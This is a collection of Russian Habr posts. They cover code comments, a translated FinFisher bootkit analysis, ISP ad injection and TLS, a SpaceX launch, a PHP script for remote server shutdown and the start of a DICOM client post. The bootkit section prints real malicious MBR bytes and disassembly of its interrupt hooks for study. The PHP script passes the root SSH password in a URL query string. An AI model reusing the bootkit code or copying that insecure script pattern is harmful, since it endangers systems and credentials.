Вместо комментирования каждого фрагмента вашего кода добейтесь, чтобы любой фрагмент логики красиво инкапсулировался в собственную функцию.
Во-первых, так повышается удобочитаемость. Код не приходится читать подряд, строку за строкой. Достаточно будет прочитать название вспомогательной функции – и понять, что она делает. Если нам требуется подробнее разобраться в деталях той или иной функции, то всегда можно заглянуть в ее реализацию.
Во-вторых, так улучшается тестируемость. В вышеприведенном примере можно провести отдельный тест для каждой функции. Если не инкапсулировать эти отдельные функции, то будет сложно проверить каждую часть более крупной функции `sendPromotionEmailToUsers()`. Чем больше разных вещей делает функция, тем сложнее ее тестировать.
Наконец, рефакторинг такого кода также упрощается. Если мы инкапсулируем каждый элемент логики в собственную функцию, то в дальнейшем изменения в нее будет проще вносить, причем, они будут сказываться лишь на поведении этой функции. Если у нас будут длинные функции с локальными переменными, существующими на протяжении всего выполнения функции, то рефакторинг такой функции спровоцирует изменения где-то еще из-за сильной связанности кода.
#### Закоментированный код
Закоментированный код следует считать опасным для жизни. Не смотрите в него, не нюхайте его, не спрашивайте, откуда он взялся – а просто избавляйтесь от него. Чем дольше он остается в программе, тем дольше вся программа будет с душком.
```
/*
public void oldFunction() {
noOneRemembersWhyIAmHere();
tryToUnCommentMe();
iWillProbablyCauseABuildFailure();
haHaHa();
}
*/
```
Если попытаться раскомментировать такой код – кто знает, скомпилируется ли он вообще? Не выведет ли этот фрагмент из строя какую-то другую часть кода? Просто удаляйте. Если этот код потребуется вам позже, то вы всегда сможете взять его в системе контроля версий – вы же пользуетесь системой контроля версий, не правда ли?
#### TODO-комментарии
Не пишите TODO-комментариев, а лучше просто… сделайте то, что собирались? Как правило, такие комментарии просто забываются, а позже могут стать неактуальными или ложными. Когда другой кодер увидит TODO-комментарий, откуда ему знать, сделана ли уже эта операция? Такие комментарии тоже удаляйте.
Единственный случай, в котором TODO-комментарий представляется уместным – когда вы ждете мерджа от коллеги. Предполагается, что такой комментарий провисит в коде недолго, только до тех пор, пока вы сможете внести в код исправления и зафиксировать их.
> Если вы чувствуете, что нужно написать комментарий – сначала попробуйте сделать рефакторинг, так, чтобы любые комментарии в коде стали излишними. — Мартин Фаулер
#### Комментарии врут
Еще одна проблема с комментариями заключается в том, что они лживы.
Когда Джимми оставляет комментарий над новой функцией, которую только что собственноручно написал – он думает, что помогает другим разработчикам, которые впоследствии будут читать его код. На самом же деле он ставит капкан. Его комментарий может месяцы и годы пролежать в неприкосновенности, пока не превратится в гнусную ложь. Затем, однажды, после сотни рефакторингов и изменений требований, этот комментарий будет дезавуирован каким-нибудь далеким модулем.
Когда вы переписываете строку кода, откуда вам знать, не отменяете ли вы тем самым комментарий в какой-нибудь другой части кода? Этого никак не узнаешь. Поэтому **комментарии должны быть искоренены**.
```
public class User {
...
// Здесь содержится имя и фамилия пользователя
String name;
...
}
```
Позже разработчик решает разделить `name` на `firstName` и `lastName`.
```
// Обрабатываем информацию о сотруднике в зависимости от статуса
void processEmployees() {
...
List employees = findEmployees(statusList);
...
}
// находим сотрудников по списку статусов
List findEmployees(List statusList) {
...
}
```
Бах! Комментарий неверен. Можно было бы обновить комментарий, чтобы он отражал внесенные поправки, но вам правда хочется вручную поддерживать все комментарии после любых вносимых изменений? Вы же разработчик, а не документировщик.
Но такой комментарий легко заметить и можно без проблем изменить.
Рассмотрим другой пример:
```
// Обрабатываем сотрудников в зависимости от статуса
void processEmployees() {
...
List employees = findEmployees(statusList);
...
}
// здесь мы находим сотрудников по списку статусов
List findEmployees(List statusList) {
...
}
```
Позже кто-нибудь может изменить функцию findEmployees так, что она будет находить сотрудников по списку имен, а не по списку статусов.
```
// Обрабатываем сотрудников в зависимости от их статуса
void processEmployees() {
...
List employees = findEmployees(statusList);
...
}
// здесь мы находим сотрудников по списку статусов
List findEmployees(List nameList) {
...
}
```
Сначала стал неактуален комментарий над findEmployees, и его нужно изменить. Это не проблема, так? **Не так**.
Комментарий над `processEmployees` также стал неактуален, и его тоже необходимо изменить. Сколько еще таких комментариев стали недействительны в результате такого маленького рефакторинга?
Альтернативное решение:
```
void processEmployees() {
...
List employees = findEmployeesByName(nameList);
...
}
List findEmployeesByName(List nameList) {
...
}
```
Если точно и внимательно именовать функции, то никаких комментариев не понадобится, и по вашему коду не будет расползаться ложь.
#### Когда комментарии – это нормально
Среди разработчиков мне известно множество фанатичных сторонников подробного комментирования кода. Полемизируя с ними, я вынужден согласиться, что иногда комментарии – это нормально. Всякий раз, занося в код комментарий, мы делаем это скрепя сердце, но порой комментарий – необходимое зло…
#### Сложные выражения
Если у вас в коде есть сложная SQL-инструкция или регулярное выражение – сопроводите их комментарием. Подобные команды обычно бывает тяжело чисто и выразительно изложить в коде. Комментарий над таким выражением серьезно поможет коллегам-разработчикам понять ваш код.
```
// формат по шаблону kk:mm:ss EEE, MMM dd, yyy
Pattern timePattern = Pattern.compile("\\d*:\\d*:\\d* \\w*, \\w*, \\d*, \\d*");
```
#### Предупреждения
Если вам требуется предупредить других разработчиков о возможных побочных эффектах или неприятностях, то такой код уместно сопроводить комментарием. Подобные комментарии могут сработать как маячки, предупреждающие о таинственном поведении программы – поэтому код с ними становится гораздо ценнее.
#### Пояснение намерений
Если написать чистый код не получается – признайте это и напишите комментарий. Вы отвечаете за весь код, который пишете, поэтому никогда не оставляйте плохой код без пояснений.
Если написать комментарий необходимо, то убедитесь, что он стоит на нужном месте. Комментарий, расположенный далеко от того кода, на который ссылается, скоро превратится в ложь, поэтому подлежит уничтожению. Комментарий, описывающий функцию или переменную, должен находиться непосредственно над ней. Если в вашей IDE поддерживается подсвечивание комментариев, добейтесь, чтобы ваши комментарии хорошо выделялись на фоне кода. | https://habr.com/ru/post/458990/ | null | ru | null |
# Анализ Буткита FinFisher
Добрый вечер! Ровно через неделю у нас стартует курс [«Реверс-инжиниринг»](https://otus.pw/gat0/), и сегодня мы хотим поделиться с вами переводом материала, который имеет прямое отношение к этому курсу. Поехали.
Недавно мы [исследовали](http://www-03.ibm.com/security/?ce=ISM0484&ct=SWG&cmp=IBMSocial&cm=h&cr=Security&ccy=US) вредоносный буткит FinFisher, опубликованный [WikiLeaks](https://securityintelligence.com/what-are-the-benefits-of-security-intelligence/). Большинство компонентов версии для Windows были достаточно простыми, так что перейдём сразу к драйверу режима ядра и загрузочному коду.
Драйвер режима ядра напрямую считывает сырые данные с жесткого диска, либо записывает их на него. С упрощенной версией метода, используемого драйвером, можно ознакомиться в [этой статье.](http://www.codeproject.com/Articles/28314/Reading-and-Writing-to-Raw-Disk-Sectors)
Вредоносная программа создает копию главной загрузочной записи (master boot record, сокращенно — MBR) и сохраняет ее отдельно на жестком диске. Помимо этого, программа записывает 0x2A00 байтов данных на инфицированный жесткий диск. Они впоследствии копируются вредоносным загрузочным кодом. Адрес первого сектора, содержащего эти данные, захардкожен в загрузочный код. Чтобы найти их физическое расположение, вредоносная программа использует Logical Block Addressing (LBA).
На тестовой машине MBR была перезаписана следующими данными:
```
f9fef780 fa 31 c0 8e c0 8e d8 8e d0 bc fc ff fb 88 16 34 .1.............4
f9fef790 7c 68 00 00 68 37 7c cb 18 a7 3f 01 00 00 00 00 |h..h7|...?.....
f9fef7a0 15 00 00 00 2e a7 3f 01 00 00 00 00 89 c0 89 c9 ......?.........
f9fef7b0 89 d2 31 02 00 00 00 b4 41 bb aa 55 cd 13 72 11 ..1.....A..U..r.
f9fef7c0 81 fb 55 aa 75 0b f7 c1 01 00 74 05 c6 06 36 7c ..U.u.....t...6|
f9fef7d0 01 8a 16 34 7c b4 08 cd 13 88 c8 24 3f a2 c2 7c ...4|......$?..|
f9fef7e0 88 e8 88 cc c0 ec 06 40 a3 c3 7c 30 f6 fe c2 89 .......@..|0....
f9fef7f0 16 c5 7c 66 8b 0e 18 7c 66 8b 16 1c 7c b8 00 01 ..|f...|f...|...
f9fef800 2d 20 00 8e c0 66 31 db 66 51 8c c0 05 20 00 8e - ...f1.fQ... ..
f9fef810 c0 80 3e 36 7c 01 74 06 e8 62 00 e9 03 00 e8 36 ..>6|.t..b.....6
f9fef820 00 66 59 66 81 c1 01 00 00 00 66 81 d2 00 00 00 .fYf......f.....
f9fef830 00 66 ff 0e 20 7c 75 d0 8a 16 34 7c ea 00 10 00 .f.. |u...4|....
f9fef840 00 00 00 00 00 00 00 10 00 01 00 00 00 00 00 00 ................
f9fef850 00 00 00 00 00 00 00 8c c0 a3 cd 7c 89 1e cb 7c ...........|...|
f9fef860 66 89 0e cf 7c 66 89 16 d3 7c 66 52 66 31 d2 8a f...|f...|fRf1..
f9fef870 16 34 7c be c7 7c b4 42 cd 13 66 5a c3 66 52 66 .4|..|.B..fZ.fRf
f9fef880 53 66 89 c8 66 31 d2 66 31 db 8a 1e c2 7c 66 f7 Sf..f1.f1....|f.
f9fef890 f3 66 42 88 16 c1 7c 66 31 d2 66 31 db 8b 1e c5 .fB...|f1.f1....
f9fef8a0 7c 66 f7 f3 8a 0e c1 7c 88 c5 88 d6 66 5b 8a 16 |f.....|....f[..
f9fef8b0 34 7c b8 01 02 cd 13 66 5a c3 00 00 00 00 00 00 4|.....fZ.......
f9fef8c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef8f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef930 00 00 00 00 00 00 00 00 65 f7 65 f7 00 00 80 01 ........e.e.....
f9fef940 01 00 07 fe ff ff 3f 00 00 00 d9 a6 3f 01 00 00 ......?.....?...
f9fef950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
f9fef970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa ..............U.
```
При быстром осмотре данных можно сделать вывод, что вредоносная программа изменила загрузочный код, но информация таблицы разделов осталась нетронутой.
**Анализ Вредоносного Загрузочного Кода**
Рассмотрим более подробно самые интересные части загрузочного кода. Во-первых, выполняется проверка установки Extended Disk Drive (EDD):
```
seg000:0037 B4 41 mov ah, 41h ; 'A'
seg000:0039 BB AA 55 mov bx, 55AAh
seg000:003C CD 13 int 13h
```
Вредоносная программа устанавливает флаг, который указывает, установлен ли EDD. Флаг контролирует метод, используемый вредоносной программой для чтения данных с жесткого диска в физическую память:
```
seg000:004C C6 06 36 7C 01 mov byte ptr ds:if_edd_installed, 1 ;7C36h
```
Затем, вредоносная программа получает параметры диска:
```
seg000:0051 8A 16 34 7C mov dl, ds:7C34h ;drive number, first drive is 0x80
seg000:0055 B4 08 mov ah, 8
seg000:0057 CD 13 int 13h
```
На данный момент, программа собрала достаточно информации для копирования вредоносного блоба на 0x2A00 байт с жесткого диска в физическую память. Блоб данных копируется по сектору за раз. Код ниже — цикл, используемый вредоносной программой для копирования кода:
```
seg000:0091 80 3E 36 7C 01 cmp byte ptr ds:if_edd_installed, 1
seg000:0096 74 06 jz short loc_9E
seg000:0098 E8 62 00 call read_data_method_no_edd_installed
seg000:009B E9 03 00 jmp loc_A1
seg000:009E ; ---------------------------------------------------------------------------
seg000:009E
seg000:009E loc_9E:
seg000:009E E8 36 00 call read_data_method_edd_installed
seg000:00A1
seg000:00A1 loc_A1:
seg000:00A1 66 59 pop ecx
seg000:00A3 66 81 C1 01 00 00 00 add ecx, 1
seg000:00AA 66 81 D2 00 00 00 00 adc edx, 0
seg000:00B1 66 FF 0E 20 7C dec dword ptr ds:7C20h ;0x0015
seg000:00B6 75 D0 jnz short loc_88
```
Ниже приведен код функции, которая используется для копирования данных при установке EDD:
```
BOOT_SECTOR:7CD7 8C C0 mov ax, es
BOOT_SECTOR:7CD9 A3 CD 7C mov word_7CCD, ax
BOOT_SECTOR:7CDC 89 1E CB 7C mov word_7CCB, bx
BOOT_SECTOR:7CE0 66 89 0E CF 7C mov dword_7CCF, ecx
BOOT_SECTOR:7CE5 66 89 16 D3 7C mov dword_7CD3, edx
BOOT_SECTOR:7CEA 66 52 push edx
BOOT_SECTOR:7CEC 66 31 D2 xor edx, edx
BOOT_SECTOR:7CEF 8A 16 34 7C mov dl, byte_7C34
BOOT_SECTOR:7CF3 BE C7 7C mov si, 7CC7h
BOOT_SECTOR:7CF6 B4 42 mov ah, 42h ; 'B'
BOOT_SECTOR:7CF8 CD 13 int 13h
; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
```
В этом примере, перед вызовом INT 13h для копирования первого сектора вредоносных данных в физическую память тестовой машины, мы имеем следующие аргументы:
```
0x0000000000007cc7 : 0x0010 0x0001 0x0000 0x0100 0xa718 0x013f
0x0000 0x0000
+0: 0x10 - packet size
+2: 0x1 - number of sectors
+4: 0x0000 - offset
+6: 0x1000 - segment
+8: 0x013fa718 - LBA
```
После того, как вредоносная программа заканчивает копировать данные, она переходит к скопированному коду и продолжает выполнение там:
```
seg000:00B8 8A 16 34 7C mov dl, ds:7C34h ;0x0000
seg000:00BC EA 00 10 00 00 jmp far ptr 0:1000h
```
Код в 0x1000 — самая интересная часть программы. Но перед тем, как продолжить анализ, стоит напомнить буткит FinFisher работает в реальном режиме. Это отличается от защищенного режима. Одно из отличий — приходится вычислять физические адреса с помощью комбинации регистров es:di и ds:si.
Формула для вычисления физического адреса — (сегмент \* 0x10) + смещение. Например, если мы смотрим на пару es:di, то es — сегмент, а di — смещение. Все адреса ниже вычислены по этой формуле.
Теперь посмотрим на самую интересную часть кода. Во-первых, вредоносная программа вычисляет адрес сегмента, откуда копируются данные (это уже второй раз, когда копируется блоб данных):
```
seg000:0024 88 16 1B 00 mov ds:1Bh, dl
seg000:0028 BE 13 04 mov si, 413h
seg000:002B 26 8B 04 mov ax, es:[si]
seg000:002E 66 0F B7 C0 movzx eax, ax
seg000:0032 66 C1 E0 0A shl eax, 0Ah
seg000:0036 66 2D C2 28 00 00 sub eax, 28C2h
;before the segment address is stored:
; x /1hw 0x101c
;[bochs]:0x000000000000101c : 0x00000000
seg000:003C 66 A3 1C 00 mov ds:1Ch, eax
;ds = 0x0100, ds:1ch = hex((0x0100\* 0x10) + 0x1c) = 0x101c
;after the segment address is stored:
; x /1hw 0x101c
;[bochs]:0x000000000000101c : 0x0009d33e
```
Затем, программа устанавливает хуки для обработчиков INT 13h и INT 15h. Как видно из приведенного выше кода, вредоносная программа не дает новых идей о том, как перехватить низкоуровневые обработчики прерывания:
```
seg000:0040 66 50 push eax
seg000:0042 66 C1 E8 0A shr eax, 0Ah
seg000:0046 26 89 04 mov es:[si], ax
;es=0x0000, si = 0x0413
;before:
x /1hw 0x413
[bochs]:
0x0000000000000413 : 0x0000027f
;after:
; x /1hw 0x413
[bochs]:
0x0000000000000413 : 0x00000274
seg000:0049 66 58 pop eax
seg000:004B
seg000:004B loc\_4B:
seg000:004B
seg000:004B 66 C1 E8 04 shr eax, 4
seg000:004F A3 22 00 mov ds:22h, ax
;ax = 0x9d33
;after:
; x /1hh 0x1022
[bochs]:
0x0000000000001022 : 0x9d33
seg000:0052 FA cli
seg000:0053 loc\_53:
seg000:0053 8C D8 mov ax, ds
seg000:0055 8E C0 mov es, ax
seg000:0057 66 B8 20 E8 00 00 mov eax, 0E820h
;get system memory map
seg000:005D 66 BA 50 41 4D 53 mov edx, 534D4150h ;"SMAP"
seg000:0063 66 31 DB xor ebx, ebx
;start at the beginning of the map.
seg000:0066 66 31 FF xor edi, edi
seg000:0069 BF 26 01 mov di, 126h
;es:di buffer that gets the result.
;es = 0x100, di = 0x0126
seg000:006C 26 66 C7 45 14 01 00 00+ mov dword ptr es:[di+14h], 1
seg000:0075 66 B9 18 00 00 00 mov ecx, 18h
;size of the buffer.
seg000:007B CD 15 int 15h
;BIOS Memory Services
seg000:007D 72 34 jb short loc\_B3
seg000:007F 66 3D 50 41 4D 53 cmp eax, 534D4150h
;check if "SMAP"
seg000:0085 75 2C jnz short loc\_B3
seg000:0087 66 85 DB test ebx, ebx
seg000:008A 74 27 jz short loc\_B3
seg000:008C db 3Eh
seg000:008C 3E 66 89 1E F2 02 mov ds:2F2h, ebx
;holds continuation value
;ds = 0x100, physical address 0x12f2
seg000:0092 66 31 C0 xor eax, eax
seg000:0095 8E C0 mov es, ax
seg000:0097 assume es:nothing
seg000:0097 26 66 A1 54 00 mov eax, dword ptr es:int\_15\_h ;IVTABLE:0054
seg000:009C db 3Eh
;debug001:12EE 00 00 00 00 dword\_12EE dd 0
;debug001:12F2 01 00 00 00 dword\_12F2 dd 1
seg000:009C 3E 66 A3 EE 02 mov ds:2EEh, eax
;debug001:12EE 59 F8 00 F0 dword\_12EE dd 0F000F859h
;debug001:12F2 01 00 00 00 dword\_12F2 dd 1
seg000:00A1 A1 22 00 mov ax, ds:22h ;segment\_hook
;previously calculated value 0x9d33
seg000:00A4 66 C1 E0 10 shl eax, 10h
seg000:00A8 66 05 42 01 00 00 add eax, 142h
;before hook is installed:
IVTABLE:004C FE E3 00 F0 dword\_4C dd 0F000E3FEh
IVTABLE:004C
IVTABLE:0050 39 E7 word\_50 dw 0E739h
IVTABLE:0052 00 F0 word\_52 dw 0F000h
IVTABLE:0054 59 F8 00 F0 dword\_54 dd 0F000F859h
IVTABLE:0054
seg000:00AE 26 66 A3 54 00 mov dword ptr es:int\_15\_h, eax ;hooks INT15h
; x /1hw 0x54
[bochs]:
0x0000000000000054 : 0x9d330142
;IVTABLE:0054 42 01 word\_54 dw 142h ;offset
;IVTABLE:0056 33 9D dw 9D33h ;segment
seg000:00B3 loc\_B3:
seg000:00B3 66 31 C0 xor eax, eax
seg000:00B6 8E C0 mov es, ax
seg000:00B8 26 66 A1 4C 00 mov eax, dword ptr es:int\_13\_h
;before:
;debug001:11D4 00 00 00 00 int\_13\_original dd 0
;after:
;debug001:11D4 FE E3 00 F0 int\_13\_original dd 0F000E3FEh
seg000:00BD db 3Eh
seg000:00BD 3E 66 A3 D4 01 mov ds:1D4h, eax
;debug001:11CC FE E3 00 F0 int\_13\_original\_1 dd 0F000E3FEh
seg000:00C2 3E 66 A3 CC 01 mov ds:1CCh, eax
seg000:00C7 A1 22 00 mov ax, ds:22h
;0x9d33
seg000:00CA 66 C1 E0 10 shl eax, 10h
seg000:00CE db 3Eh
seg000:00CE 3E 66 A3 51 02 mov ds:251h, eax
;before:
;debug001:1251 00 00 00 00 hook\_segment dd 0
;after:
;debug001:1251 00 00 33 9D hook\_segment dd 9D330000h
seg000:00D3 66 05 12 01 00 00 add eax, 112h
seg000:00D9 26 66 A3 4C 00 mov dword ptr es:loc\_4B+1, eax ;hooks INT13h
;es = 0x00 eax = 0x112
;IVT after both INT 13h and INT 15h hooks are installed:
IVTABLE:004C 12 01 int\_13\_h dw 112h ; offset
IVTABLE:004E 33 9D dw 9D33h ; segment
IVTABLE:0050 39 E7 word\_50 dw 0E739h
IVTABLE:0052 00 F0 word\_52 dw 0F000h
IVTABLE:0054 42 01 int\_15\_h dw 142h ; offset
IVTABLE:0056 33 9D dw 9D33h ; segment
```
Теперь хуки установлены для INT 13h и INT 15h, но код для функций, перехватывающих INT, еще не скопирован в вычисленный сегмент. Очевидно, следующий шаг — скопировать код для перехваченных обработчиков:
```
seg000:00DE A1 22 00 mov ax, ds:22h
seg000:00E1 8E C0 mov es, ax
seg000:00E3 31 FF xor di, di
seg000:00E5 B9 C2 28 mov cx, 28C2h
seg000:00E8 FC cld
seg000:00E9 BE 3E 01 mov si, 13Eh
seg000:00EC F3 A4 rep movsb
;si = 0x013e - source of the data to be copied.
;di = 0x0000 - destination
;cx = 0x28c2 - number of bytes to be copied.
;ds = 0x0100, es = 0x9d33
;the actual physical addresses of the source is ds:[si] =
;hex((0x0100 * 0x10) + 0x13e) = 0x113e
;the physical address of the destination is es:[di] =
;hex((0x9dd3 * 0x10) + 0x0000) = 0x9dd30
;copies all the data copied in the first stage except for the first 0x13e bytes.
;hex(0x2a00-0x28c2) = 0x13e
```
Теперь вредоносная программа готова вернуть управление исходной MBR, но сперва, ей нужно восстановить MBR до 0x7C00 (сектор, в котором находится копия исходной MBR, хранится в другом месте на жестком диске), а затем передать выполнение исходной MBR.
```
seg000:00EE FB sti
seg000:00EF 66 8B 0E 13 00 mov ecx, ds:13h
seg000:00F4 66 8B 16 17 00 mov edx, ds:17h
seg000:00F9 66 89 0E 1E 01 mov ds:11Eh, ecx
seg000:00FE 66 89 16 22 01 mov ds:122h, edx
seg000:0103 BE 16 01 mov si, 116h ;buffer
;ds = 0x0100, address 0x1116
seg000:0106 BB AA 55 mov bx, 55AAh
seg000:0109 8A 16 1B 00 mov dl, ds:1Bh ;drive number here 0x80
seg000:010D B4 42 mov ah, 42h ; 'B'
seg000:010F CD 13 int 13h
;DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
;INT 13h is hooked now
;debug003:0112 EA 00 00 33 9D jmp far ptr loc_9D330
; x /10hh 0x1116
[bochs]:
0x0000000000001116 : 0x0010 0x0001 0x7c00 0x0000 0xa72d 0x013f 0x
0000 0x0000
0x0000000000001126 : 0x0000 0x0000
size of the packet 0x0010
number of blocks to transfer = 0x0001
destination 0x7c00
LBA: 0x013fa7d2
;Jumps to the original MBR here:
seg000:0111 EA 00 7C 00 00 jmp far ptr 0:7C00h
```
**Что мы узнали из буткита FinFisher**
Этот пример буткита FinFisher не предлагает новых техник или улучшений по сравнении с другими буткитами. Создатели вредоносных программ решили установить хуки для обработчиков INT 13h and INT 15h до того, как код для этих обработчиков копируется в память; что может быть катастрофично. Например, если код перехваченных функций-обработчиков не сможет скопироваться, может случиться краш системы.
Традиционно ждём ваши комментарии и приглашаем всех на [день открытых дверей](https://otus.pw/htWj/), который пройдет уже завтра. | https://habr.com/ru/post/441970/ | null | ru | null |
# В трафик сайтов опять внедряют посторонний контент. Как защититься?
*[Источник](https://habr.com/ru/post/493402/)*
В последнее время [участились случаи инъекций стороннего контента](https://twitter.com/MosSobyaniin/status/1544318180138565634) на страницы российских сайтов, не защищённых HTTPS. Этим занимаются [некоторые операторы связи](https://www.kommersant.ru/doc/4268865), то есть это законная практика.
Логично, что если вам противостоит легальная угроза, то от неё следует защищаться техническими средствами.
Как [сообщается](https://twitter.com/MosSobyaniin/status/1544383088918134784/photo/1), фишинговые подмены в основном происходят с участием доменов `*2ad.wtf` и `news.truth.delivery`: «В параметры запроса фишингового скрипта прокидывается адрес подменённого скрипта и регион подключения абонента (в текущем случае СПб)», — пишет автор. Далее загружается уже настоящий скрипт запрашиваемого сайта, чтобы всё выглядело нормально. Вот как это делается:
По словам пользователя, его провайдер совершал инъекции крайне неприемлемой медийной рекламы с «мусорных» источников.
Старая проблема
---------------
На самом деле это довольно старая проблема. Например, крупнейший в России телекоммуникационный провайдер начал встраивать рекламные баннеры на сайты без HTTPS [ещё в 2020 году](https://www.kommersant.ru/doc/4268865). Тогда представители компании пояснили, что это контекстная персонализированная реклама, которая показывается только по желанию пользователя.
Ранее ещё в 2016 году [сообщалось](https://www.kommersant.ru/doc/3048975), что из-за рекламной акции одного из мобильных операторов на мобильных сайтах СМИ появлялась реклама его фирменной услуги «Мини-кабинет». А в сентябре 2018 года другой мобильный оператор показывал абонентам рекламу своего сервиса при посещении сайта правительства.
Пользователи в комментариях к текущей записи 2022 года [подтверждают](https://twitter.com/fyb1ts/status/1544800846017355777) наличие проблемы:
> Сталкивался с этим в апреле. Переезжал, и интернет проведён не был, пришлось пользоваться телефоном в качестве модема. На проекте по работе [мобильный оператор] подменял скрипты Hubspot на такие же баннеры. [Домен] `news.thruth.delivery` там же фигурировал.
Такое практикуется и в сетях сотовой связи, и проводного интернета, подтверждают специалисты.
На Хабре публиковалось несколько расследований на эту тему:
* [Рекламные баннеры Ростелекома и как с ними бороться](https://habr.com/ru/post/493402/)
* [Вы не смотрите рекламу во время разработки? Непорядок](https://habr.com/ru/post/489528/)
* [DPI: Deep Packet INJECTION, или конспирологическая теория о заговоре между RTK и MRG](https://habr.com/ru/company/roskomsvoboda/blog/485902/)
Решение проблемы — сертификат TLS
---------------------------------
Эта история ещё раз показывает, почему все сайты без исключения должны перейти на HTTPS с шифрованием трафика. Только сертификат TLS гарантирует защиту этого канала. В него не проникнет ни провайдер, ни другие третьи лица. Инъекция стороннего контента невозможна.
Согласно [отчёту](https://store.frost.com/frost-radartm-global-holistic-transport-layer-security-tls-certificate-market-2022.html) исследовательской компании *Frost & Sullivan*, в 2018–2022 годы количество публичных сертификатов TLS выросло на 36,0%. В то же время число удостоверяющих центров (УЦ) сократилось.
Основанная в 1996 году GMO GlobalSign остаётся одним из старейших центров сертификации в мире. Компания со штаб-квартирой в Японии входит в число ведущих мировых УЦ, занимая долю 8,9% и 4-е место в 2021 году, сказано в отчёте. Как отмечается, основной рост бизнеса во время пандемии COVID-19 пришёлся на [Облачный сервис цифровой подписи](https://www.globalsign.com/ru-ru/digital-signatures/cloud), который внедряет юридически законные цифровые подписи в документооборот предприятия. Здесь любой сотрудник может дистанционно подписывать любые документы.
То есть рынок сертификатов TLS вырос и количественно, и качественно — в разные стороны и сферы применения. Конечно, для защиты от вышеупомянутых инъекций «Ростелекома» достаточно стандартного сертификата Let's Encrypt, но вот более комплексные задачи требуют более цельных решений. Сегодня рынок включает в себя сертификаты для веб-приложений, защиты электронной почты, цифровых подписей, Интернета вещей (IoT) и прочих вариантов применения инфраструктуры открытых ключей (PKI).
Публичные УЦ несут огромные капитальные и операционные расходы на создание и поддержание инфраструктуры PKI. Более того, частые обновления стандартов сертификатов, навязываемые форумом CA/Browser Forum, требуют от постоянного обновления инфраструктуры, [пишет](https://store.frost.com/frost-radartm-global-holistic-transport-layer-security-tls-certificate-market-2022.html) *Frost & Sullivan*.
Последние истории в Рунете показывают, что сертификат нужен *каждому* сайту, даже если это самая простая страничка.
**Только HTTPS может гарантировать, что никто не подменит ваш контент на пути от сервера к клиенту.** | https://habr.com/ru/post/676388/ | null | ru | null |
# Путь в космос
4 июня 2010 года, в 5:45 по Атлантическому времени, с мыса Канаверал взлетел и вышел на низкую околоземную орбиту космический корабль, **не принадлежащий никакой правительственной организации**. По-моему маленького шага тут даже нет — как для SpaceX так и для всего человечества это большой шаг.
В отличие от [позапрошлогоднего запуска](http://habrahabr.ru/blogs/popular_science/41256/), Falcon 9 — это старшая ракета компании SpaceX.
На SpaceX собираются катать пассажиров вокруг земли и на международную космическую станцию. До семи пассажиров за полёт.
Видео: [spacex.com/multimedia/videos.php?id=51hp](http://spacex.com/multimedia/videos.php?id=51hp) (сейчас сайт немного слёг от нагрузки).
Немного о людях: исполнительного директора SpaceX зовут Элон Маск. На фото ниже он справа.
Те, кто видел это лицо и раньше, могли стать в курсе только сейчас, что этот же человек является исполнительным директором передовой компании по производству электромобилей [Tesla Motors](http://www.teslamotors.com/), которая действительно производит электромобили и уже поставила больше 1000 машин. Да каких машин: разгон от 0 до 100 км/ч за 4 секунды! Это не просто всего-лишь электромобиль.
Недавно Тесла заключила венчур с Тойотой и начнёт серию в 20 000 авто в этом году.
Элон также является председателем совета директоров [Solar City](http://www.solarcity.com/default.aspx) — компании, производящей солнечные батареи с обеспечением их установки, поддержки и т.п. Посмотрите их сайт и что они предлагают.
А более 10 лет назад (в 1998-1999) он [организовал](http://en.wikipedia.org/wiki/PayPal), а потом продал eBay прародителя электронных денег — компанию PayPal.
Вот такой необычный человек. Пусть ему сопутствует удачи в начинаниях ибо, видит Бог, он делает то, за чем будущее; то, что действительно **реально круто** в правильном понимании этого слова, а не в понимании распила 14 миллиардов на волшебные нанофильтры.
`Кросспост блога "Выдернув из Контекста"` | https://habr.com/ru/post/95592/ | null | ru | null |
# Удаленное выключение linux-сервера PHP
Возможно у вас, как и у меня возникала потребность выключения сервера удаленно (странная потребность, он ведь на то и сервер, чтобы постоянно работать). В любом случае у каждого свои мотивы. Итак, мне необходимо было выключить удаленный сервер с другого компьютера, выключение с android и ios.
Выключать компьютер мы будем через ssh в php-скрипте (тогда нам не надо даже писать приложения для android и ios, а просто создать ссылку на скрипт). Для этого нам необходимо поставить библиотеку ssh для php. Достаточно подробно эта процедура описана [здесь](http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/).
Далее необходимо написать скрипт, который будет выключать компьютер switcher.php:
```
php
if (!function_exists ("ssh2_connect")) die ("function ssh2_connect doesn't exist");
if(!($con = ssh2_connect("localhost", 22))){
echo "fail: unable to establish connection\n";
} else {
// авторизуемся по имени пользователя и паролю
if(!ssh2_auth_password($con, "root", $_GET["password"])) {
echo "fail: unable to authenticate\n";
} else {
// allright, we're in!
echo "okay: logged in...\n";
// выполняем комманду
if (!($stream = ssh2_exec($con, "poweroff" ))) {
echo "fail: unable to execute command\n";
} else {
// collect returning data from command
stream_set_blocking ($stream, true);
$data = "";
while ($buf = fread ($stream,4096)) {
$data .= $buf;
}
fclose ($stream);
echo $data;
}
}
}
?
```
в итоге для выключения сервера используется url типа: 127.0.0.1/switcher.php?password=my\_pass
Вот и все, теперь на любые устройства можно добавить ярлыки на рабочий стол на любое устройство и всё ок, компромат в безопасности =)
Буду рад другим способам, были варианты ssh соединения напрямую с разных платформ, но так увеличивается время разработки, хоть и безопаснее | https://habr.com/ru/post/151526/ | null | ru | null |
# Простой DICOM клиент на GO с балансировщиком задач и веб-интерфейсом
Привет Хабр! В последнее время я очень сильно увлекся разработкой на языке GO. Изящный и выразительный язык программирования. Мне давно хотелось сделать что-нибудь полезное. По специфике своей работы мне приходится работать с медицинскими архивами DICOM-изображений PACS.
